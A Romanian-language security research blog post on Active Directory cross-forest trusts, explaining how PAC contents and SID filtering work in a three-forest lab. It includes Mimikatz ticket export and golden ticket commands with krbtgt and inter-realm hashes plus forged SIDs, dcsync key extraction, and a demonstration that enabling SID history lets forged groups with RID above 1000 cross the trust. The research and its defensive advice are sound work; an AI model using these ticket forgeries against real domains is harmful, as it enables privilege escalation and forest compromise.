Active Directory forest trusts part 1 – Cum funcționează filtrarea SID?

Aceasta este prima postare dintr-o serie despre trusturile Active Directory cross-forest. Acesta va explica ce anume sunt trusturile forestiere și cum sunt protejate cu filtrarea SID. Dacă sunteți nou în domeniul trusturilor Active Directory, vă recomand să începeți prin a citi ghidul aprofundat al lui harmj0y despre acestea. După ce am citit postarea sa (excelentă), am avut o mulțime de întrebări despre cum funcționează de fapt sub capotă și cum se compară trusturile din cadrul aceleiași păduri AD cu trusturile între păduri diferite. Această serie de bloguri reprezintă atât călătoria mea, cât și documentarea mea cu privire la modul în care am cercetat acest subiect și cum îl înțeleg acum. Pregătiți-vă pentru o scufundare în profunzime în trusturi, Kerberos, golden tickets, mimikatz și impacket!

În această postare se va discuta despre trusturile între diferite păduri. O pădure este o colecție de unul sau mai multe domenii, care fac parte din unul sau mai mulți arbori de domenii. În organizațiile cu un singur domeniu, acel domeniu constituie, de asemenea, întreaga pădure. În documentația Microsoft, trusturile sunt adesea denumite fie trusturi interforestiere (trusturi între două păduri diferite), fie trusturi intraforestiere (trusturi între domenii din aceeași pădure). Deoarece aceste cuvinte mă încurcă întotdeauna, în această postare mă voi referi la ele fie ca trusturi în interiorul pădurii, fie ca trusturi între păduri (sau între păduri). De asemenea, este important de reținut că, deși discutăm despre trusturi între două păduri, trusturile sunt întotdeauna definite între domenii. Trusturile forestiere pot fi create numai între două domenii rădăcină ale unor păduri diferite, astfel încât orice mențiune din această postare despre un trust forestier reprezintă trustul dintre două domenii rădăcină diferite.

În cadrul unei singure păduri, toate domeniile au încredere unele în altele și puteți escalada de la un domeniu compromis la toate celelalte, așa cum se explică în cercetarea lui Sean Metcalf despre trusturile de domeniu. Pentru a reitera: Un domeniu Active Directory nu este o limită de securitate, ci o pădure Active Directory este.

Vom vorbi, de asemenea, despre identificatorii de securitate (SID). Un SID este ceva care identifică în mod unic un principal de securitate, cum ar fi un utilizator, un grup sau un domeniu. Unul dintre domeniile din pădurile de test are SID S-1-5-21-3286968501-24975625-1618430583. Binecunoscutul grup Domain Admins, care are ID 512, are SID-ul format din SID-ul domeniului și ID-ul (numit RID în terminologia AD), ceea ce îi conferă SID-ul S-1-5-21-3286968501-24975625-1618430583-512 în acest domeniu.

Configurarea

Configurarea conține 3 păduri Active Directory: A, B și C. Atât pădurea A, cât și pădurea C au o încredere forestieră tranzitivă bidirecțională cu pădurea B (vom ajunge mai târziu la ce înseamnă exact acest lucru). Pădurea A și pădurea C nu au o încredere între ele. Pădurea A este singura pădure cu două domenii: forest-a.local și sub.forest-a.local. Deoarece aceste domenii se află ambele în cadrul pădurii A, ele au o încredere bidirecțională părinte-copil între ele. Configurația este prezentată în următoarea imagine:

Domeniile forest-a și forest-b au ambele un Controler de domeniu și un server membru (care nu este prezentat în imagine), celelalte domenii sunt formate doar dintr-un singur Controler de domeniu. Toată această configurație rulează în Azure și este gestionată prin Terraform, care se ocupă de mașinile virtuale, rețelele, DNS și configurarea pădurii, în timp ce trusturile au fost configurate manual ulterior.

De la A la B, ce conține un PAC?

Să presupunem că ne aflăm în pădurea A și dorim să accesăm resurse din pădurea B. Avem biletul nostru Kerberos Ticket Granting Ticket (TGT), care este valabil în domeniul rădăcină al pădurii A în care ne aflăm în prezent (numit în mod convenabil forest-a). Atunci când dorim să accesăm resurse din afara domeniului nostru actual (fie în aceeași pădure, fie într-o altă pădure), Windows are nevoie de un tichet de serviciu pentru această resursă, în acest exemplu forest-b-server.forest-b.local. TGT-ul nostru pentru forest-a este, desigur, inutil în forest-b, deoarece este criptat cu hash-ul contului krbtgt din forest-a, pe care forest-b nu îl are. În termeni Kerberos, ne autentificăm într-un tărâm diferit. Așadar, ceea ce face clientul nostru în fundal este să solicite un tichet de serviciu pentru resursa pe care încercăm să o accesăm în forest-b la Controlerul de domeniu (DC) pentru forest-a. DC-ul (care în termeni Kerberos este un Key Distribution Center, sau KDC) nu are o resursă la nivel local cu sufixul forest-b.local, el caută orice încredere cu păduri care au acest sufix.

Pentru că există o încredere bidirecțională între pădurea A și pădurea B, DC-ul din forest-a ne poate emite un bilet de trimitere (TGT) către forest-b. Acest tichet este semnat cu cheia de încredere între domenii Kerberos și conține grupurile din care suntem membri în forest-a. Pădurea B va accepta acest tichet și ne va acorda un tichet de serviciu pentru forest-b-server, pe care îl putem folosi pentru a ne autentifica. O prezentare schematică este prezentată mai jos:

Când ne conectăm de pe stația noastră de lucru din Pădurea A la serverul din Pădurea B, putem vedea biletele cu ajutorul comenzii klist:

Cel de-al doilea bilet de sus este TGT-ul nostru inițial, pe care îl putem folosi pentru a solicita TGT-ul pentru forest-b. Puteți vedea că acest TGT pentru forest-b (în partea de sus) are principalul krbtgt pentru forest-b în câmpul server. Acesta este contul din pădurea A care este asociat cu trustul (acest cont se numește forest-b$ și se află în partea Users a directorului). Partea sa criptată este criptată cu cheia de încredere inter-regiune pe care aceste domenii o împărtășesc.

Cel de-al treilea bilet de sus este biletul pe care îl putem folosi în pădurea B pentru a contacta serverul de acolo. Este un tichet de serviciu care ne-a fost dat de către DC din pădurea B. După cum puteți vedea în câmpul Server, acest tichet a fost dat și este valabil în domeniul Kerberos FOREST-B.LOCAL.

Acum să ne scufundăm în ceea ce este de fapt în acest tichet. Fiecare TGT Kerberos solicitat de Windows conține un certificat de atribut de privilegiu, sau PAC (Privilege Attribute Certificate). Formatul este descris în MS-PAC pe MSDN. Acest PAC conține, printre altele, SID-urile grupurilor din care facem parte. Pentru a vedea ce se află de fapt în PAC, trebuie mai întâi să obținem biletele din memorie. Pentru aceasta vom folosi Mimikatz, cu ajutorul căruia putem arunca toate biletele Kerberos pe disc cu ajutorul comenzii sekurlsa::tickets /export. Deși Mimikatz conține, de fapt, un cod de depanare Kerberos, nu am reușit să îmi dau seama cum funcționează, iar eu nu știu să scriu C, așa că, oricum, modificarea a ceva era cam exclusă. Din fericire, biblioteca mea preferată din Python, impacket, suportă tot felul de chestii Kerberos. Impacket primește biletele Kerberos în format ccache, care nu este formatul pe care Mimikatz îl exportă, dar le putem converti cu ușurință cu kekeo. Trebuie doar să rulăm comanda misc::convert ccache ourticket.kirbi și Kekeo îl va salva ca un fișier .ccache pe care îl putem citi cu Impacket.

Pentru decriptarea PAC am scris câteva utilități bazate pe exemplele impacket, pe care le voi lansa ca parte a acestei cercetări. Desigur, pentru a decripta părțile criptate ale biletelor Kerberos avem nevoie de cheile de criptare, așa că le-am extras pentru toate domeniile folosind secretsdump.py și implementarea sa dcsync. Pentru primul TGT trebuie să adăugăm hash-ul krbtgt la fișier. Pe baza capturii de ecran de mai sus, puteți vedea că vom avea nevoie de cheia aes256-cts-hmac-sha1-96 descărcată de secretsdump.

Unitatea getcfST.py este utilizată pentru a solicita un tichet de serviciu într-o altă pădure pe baza unui TGT din fișierul .ccache (puteți specifica fișierul de utilizat cu export KRB5CCNAME=myticket.ccaches). Acesta va decripta și va descărca întregul PAC, a cărui ieșire poate fi văzută aici pentru cei interesați. Am adăugat câteva linii de cod care tipăresc părțile importante pentru noi într-un format mai ușor de citit pentru oameni:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Aceasta este o PAC destul de implicită. Vedem că suntem membri ai mai multor grupuri și, deoarece acesta este contul de administrator (ID 500, deși are un nume diferit) al pădurii A cu care testăm în prezent, este membru al mai multor grupuri de administratori implicite, cum ar fi Domain Admins (512) și Enterprise Admins (519). Avem, de asemenea, Extra SID S-1-18-1, care indică faptul că ne autentificăm pe baza dovezii de posesie a acreditărilor.

Pentru a decripta al doilea TGT, trebuie să schimbăm cheia din contul krbtgt cu cea a contului forest-b$, care este cheia de încredere inter-real. În acest caz, PAC este criptat cu RC4, care folosește hash-ul NT ca intrare (da, cel pe care îl folosiți pentru a trece hash-ul). Acest lucru este implicit, cu excepția cazului în care caseta „The other domain supports Kerberos AES Encryption” este bifată. După cum se poate vedea în arhiva brută, PAC nu s-a schimbat, ceea ce susține presupunerea că DC doar re-criptează PAC ca parte a biletului cu cheia de încredere inter-domeniu pentru pădurea B.

TGS-ul este o poveste ușor diferită. În afară de faptul că necesită câteva modificări în exemplul getcfST.py și că trebuie să specificăm cheia AES-256 a contului de calculator forest-b-server pentru a-l decripta, putem vedea că au fost adăugate mai multe informații la PAC (descărcare brută aici):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Vezi că a fost adăugată o nouă secțiune, care conține SID-ul de domeniu al domeniului forest-b și un grup din care contul nostru este membru în Pădurea B. Aceste SID-uri fac parte din structurile ResourceGroup ale PAC și sunt destinate stocării apartenenței la orice grup local de domeniu din domeniul forest-b. După cum este explicat în această postare de harmj0y, grupurile Domain Local sunt singurele grupuri care pot conține principalii de securitate din alte păduri. În domeniul forest-b, utilizatorul nostru superuser din pădurea A este membru al grupului Testgroup2, pe care îl puteți vedea mai jos.

Pentru că acest lucru este reflectat în cadrul PAC-ului nostru, pe care serverele la care ne autentificăm cu ajutorul tichetului de serviciu Kerberos îl folosesc pentru autorizare, orice privilegii atribuite lui Testgroup2 se vor aplica contului de superutilizator din altă pădure. Acesta este modul în care funcționează autentificarea și autorizarea între trusturi.

Tichete de aur și filtrare SID

Cu câțiva ani în urmă, Sean Metcalf și Benjamin Delphy au lucrat împreună pentru a adăuga suportul SID History la Mimikatz, care a permis escaladarea de la un domeniu Active Directory la altul în cadrul aceleiași păduri. Procedura pentru acest lucru este detaliată aici. Cum se traduce acest lucru în cazul trusturilor cu o altă pădure? Haideți să creăm un bilet de aur cu câteva SID-uri interesante pentru a vedea cum sunt procesate pe măsură ce traversează granița pădurii. Utilizăm următoarea comandă Mimikatz pentru a crea un golden ticket în pădurea noastră actuală:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Să descompunem această comandă. Creăm un golden ticket în forest-a, semnat cu hash-ul krbtgt din forest-a. Ca SID-uri suplimentare, includem câteva SID-uri interesante:

• S-1-5-21-3286968501-24975625-1618430583-1604, SID-ul unui grup din care nu suntem de fapt membri
• S-1-5-21-3286968501-24975625-1111111111-1605, SID-ul unui domeniu care nu există de fapt
• S-1-18-1, SID-ul pe care Windows îl adaugă indicând că ne-am autentificat cu dovada deținerii de credențiale
• S-1-5-21-2897307217-3322366030-3810619207-1106, un grup din forest-b

Semnalizatorul /ptt va injecta biletul în memorie, iar la navigarea în \forest-b-server.forest-b.local nu vedem niciun mesaj de eroare, indicând că biletul a fost folosit cu succes pentru a accesa o resursă din forest-b. Exportăm biletele ca înainte și le decriptăm în același mod ca în secțiunea anterioară.

Tgt-ul pentru forest-a conține SID-urile așteptate:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Tgt-ul pe care l-am primit pentru forest-b de la controlorul de domeniu din forest-a, semnat cu cheia de încredere inter-real, conține de fapt exact aceleași informații:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

Acest lucru sugerează din nou că DC nu validează PAC-ul, ci doar îl resemnează cu cheia inter-real pentru forest-b, chiar dacă acesta conține un grup din care noi nu suntem de fapt membri.

După ce prezentăm acest TGT către DC în forest-b, primim înapoi tichetul nostru de serviciu, care are următorul PAC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Ce s-a întâmplat aici? Vedem că, din nou, membrii noștri din domeniul forest-b au fost adăugați la PAC, dar că unele SID-uri au fost filtrate. Aici intervine mecanismul de securitate de filtrare a SID-urilor, filtrând orice SID-uri care nu fac parte din forest-a. Regulile pentru filtrarea SID sunt descrise în pe MSDN. Regulile interesante aici sunt cele cu intrarea ForestSpecific. Aceste SID-uri sunt permise numai de la un PAC din interiorul pădurii. Deoarece PAC-ul nostru provine din afara pădurii, aceste SID-uri vor fi întotdeauna filtrate din PAC-ul nostru. Cele 3 reguli care urmează după ForestSpecific se asigură că toate SID-urile care nu provin din interiorul pădurii A sunt filtrate. Aceasta include atât SID-ul inexistent pe care l-am furnizat, cât și orice SID care nu este specific pădurii B.

Încă ne permite să pretindem că suntem orice utilizator din pădurea A, astfel încât, dacă utilizatorilor din pădurea A li s-au acordat privilegii speciale în pădurea B (care este probabil motivul pentru care a fost creată întreaga încredere în primul rând), acestea sunt acum compromise.

Relaxarea filtrării SID

Ce mi-a atras atenția la începutul acestei cercetări este o opțiune pentru trusturi care este disponibilă doar prin intermediul instrumentului netdom și nu apare în interfața grafică. Una dintre paginile din documentația Microsoft descrie permiterea istoricului SID pe trusturile interforestiere. Ce face acest lucru? Haideți să permitem istoricul SID pe trustul din pădurea B către A (care afectează utilizatorii care se autentifică din A în B):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Și ce s-a schimbat? Să vedem cum se traduce acest lucru în indicatorul TrustAttributes al obiectului Trusted Domain Object. Puteți interoga acest lucru folosind mai multe instrumente, mai jos vă arată ieșirea fișierului domain_trusts.html de la ldapdomaindump rulat față de pădurea B, care este un instrument pe care l-am scris cu ceva timp în urmă pentru a aduna informații despre AD.

Încrederea noastră cu pădurea A are acum steagul TREAT_AS_EXTERNAL. În documentația Microsoft relevantă, sunt scrise următoarele:

Dacă acest bit este setat, atunci un trust între păduri pentru un domeniu trebuie tratat ca un trust extern în scopul filtrării SID. Trusturile cross-forestiere sunt filtrate mai riguros decât trusturile externe. Acest atribut relaxează aceste trusturi crossforestiere pentru a fi echivalente cu trusturile externe. Pentru mai multe informații despre modul în care este filtrat fiecare tip de trust, consultați secțiunea 4.1.2.2.2.

Aceasta trimite înapoi la secțiunea în care se descrie filtrarea SID. Să ne uităm ce se întâmplă dacă oferim același TGT față de forest-b DC forest-b:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Tichetul nostru de serviciu din forest-b DC include acum toate SID-urile pe care le-am pus în biletul Mimikatz anterior! Acest lucru înseamnă că putem specifica orice SID care nu este filtrat ca ForestSpecific în PAC-ul nostru și că acesta va fi acceptat de DC din pădurea B.

Să creăm un nou tichet de aur cu câteva SID-uri în plus pentru a testa această ipoteză:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

Noi SID-uri incluse aici:

• S-1-5-21-2897307217-3322366030-3810619207-512: Domain Admins, ar trebui să fie filtrate prin regula explicită ForestSpecific
• S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, ar trebui să fie filtrate prin regula explicită ForestSpecific
• S-1-5-21-2897307217-3322366030-3810619207-548: Account Operators, ar trebui să fie filtrat prin regula ForestSpecific care interzice SID-urile între 500 și 1000.
• S-1-5-21-2897307217-3322366030-3810619207-3101: Este un grup care este membru al Domain Admins, nu ar trebui să fie filtrat.

După cum ați observat, cele de mai sus sunt de fapt semnate cu cheia de încredere inter-real, astfel încât creăm direct TGT-ul care este valabil pentru Forest B aici, pentru a sări peste pasul de a-l oferi mai întâi DC-ului Forest A.

Acum primim următoarele înapoi în PAC al biletului nostru de serviciu:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Câteva lucruri de reținut:

• Grupurile DA/EA/Account Operators sunt într-adevăr eliminate de filtrarea SID
• Grupul Domain Admins nu este adăugat la partea ResourceGroup a PAC, chiar dacă grupul 3101 este un membru direct al acestui grup. Acest lucru se datorează faptului că grupul Domain Admins este un grup global, în timp ce numai grupurile locale ale domeniului sunt adăugate în PAC.

Ceea ce înseamnă acest lucru pentru un atacator este că se poate falsifica orice grup RID >1000 dacă istoricul SID este activat în cadrul unui Forest trust! În majoritatea mediilor, acest lucru va permite unui atacator să compromită pădurea. De exemplu, grupurile de securitate Exchange, care permit o escaladare a privilegiilor la DA în multe configurații, toate au RID-uri mai mari de 1000. De asemenea, multe organizații vor avea grupuri personalizate pentru administratorii de stații de lucru sau centrele de asistență care primesc privilegii de administrator local pe stații de lucru sau servere. De exemplu, tocmai am acordat grupului IT-Admins (cu RID 3101, care face parte din golden ticket-ul nostru) privilegii de administrator pe calculatorul forest-b-server. După ce am schimbat TGT-ul nostru cu un tichet de serviciu, ne putem autentifica cu acest tichet pe boxă:

Concluzii

Cross-forest trusts sunt, în mod implicit, strict filtrate și nu permit niciunui SID din afara pădurii respective să călătorească peste trust. Un atacator care compromite o pădure în care aveți încredere poate totuși să se dea drept orice utilizator din acea pădure și, astfel, să obțină acces la resursele care au fost acordate în mod explicit utilizatorilor/grupurilor din acea pădure.

Dacă istoricul SID este activat pentru o încredere între păduri, securitatea este slăbită semnificativ, iar atacatorii pot să se dea drept membru al oricărui grup cu un RID mai mare de 1000, ceea ce, în majoritatea cazurilor, poate duce la compromiterea pădurii. în cazul în care sunteți un administrator IT, analizați cu atenție ce utilizatori din diferite păduri acordați acces în pădurea dumneavoastră, deoarece fiecare utilizator căruia i se acordă acces slăbește granița de securitate dintre păduri. Nu v-aș recomanda să permiteți istoricul SID între păduri decât dacă este absolut necesar.

În următoarea parte (sau părți, cine știe) ne vom scufunda în modul în care funcționează Transitivitatea încrederii și vom discuta despre alte tipuri de încredere cu domenii din afara pădurii. Acest lucru înseamnă că vom începe, de asemenea, să ne jucăm cu Forest C și sub.forest-a.

Instrumentele

Instrumentele folosite în această postare sunt disponibile ca dovadă de concept pe GitHub-ul meu. Aceste instrumente vor necesita modificări manuale pentru a fi utilizabile și sunt furnizate doar AS-IS persoanelor care doresc să reproducă sau să se scufunde mai departe în această cercetare.

.